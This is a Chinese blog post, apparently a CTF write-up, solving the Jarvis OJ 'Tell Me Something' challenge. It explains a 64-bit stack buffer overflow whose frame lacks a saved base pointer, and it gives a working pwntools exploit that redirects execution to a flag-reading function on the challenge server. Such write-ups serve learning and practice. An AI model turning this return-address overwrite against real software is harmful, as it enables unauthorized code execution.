zoukankan      html  css  js  c++  java
  • Jarvis Oj Pwn 学习笔记Tell Me Something

    记一个64位栈帧的坑!!!

    老板儿,链接要得:

    https://files.cnblogs.com/files/Magpie/guestbook.rar

    nc pwn.jarvisoj.com 9876

    第n次checksec...:

    宣IDA觐见:

    good_name一看就很妖孽,于是跟进去:

    好嘛~搞定了这不!

    看一下main函数的溢出点:

    于是payload:

    junk='A' * (0x88 + 0x08)

    ret=p64(0x400620)

    payload=junk + ret

    写好后一个payload打过去。。。结果,,说好的shell呢!!! /(ㄒoㄒ)/~~

    所以,有坑!

    现在我们来看一下汇编:

    main:

     good_name:

     

     仔细一看,惊了!

    main:----->

    good_name: & ----->

    所以,,它的栈帧处理和平衡的方式和我们常见的那种形式(push ebp ,     mov ebp,esp ,     sub esp,size_of_frame)是不一样的!

    因此,它的栈帧结构里实际上是没有old_ebp的,即junk的size为0x88而非0x88+8

    这样一来问题就解决了,我们上exp:

     1 from pwn import*
     2 r=remote('pwn.jarvisoj.com','9876')
     3 print r.recvline()
     4 pad='a'*0x88
     5 add=p64(0x400620)
     6 payload=pad+add
     7 r.sendline(payload)
     8 print payload
     9 print r.recvline()
    10 print r.recvline()

    从这道题中我们得到一个教训:

    看汇编!

    看汇编!!

    一定要看汇编!!!

  • 相关阅读:
    web测试方法总结
    我认为测试应该掌握的SQL语句
    monkey(1)
    冒烟测试
    PC客户端测试总结
    常见测试点总结
    测试基本概念
    测试主要环节
    手机app常见bug积累
    MySQL面试题集锦
  • 原文地址:https://www.cnblogs.com/Magpie/p/9119021.html
Copyright © 2011-2022 走看看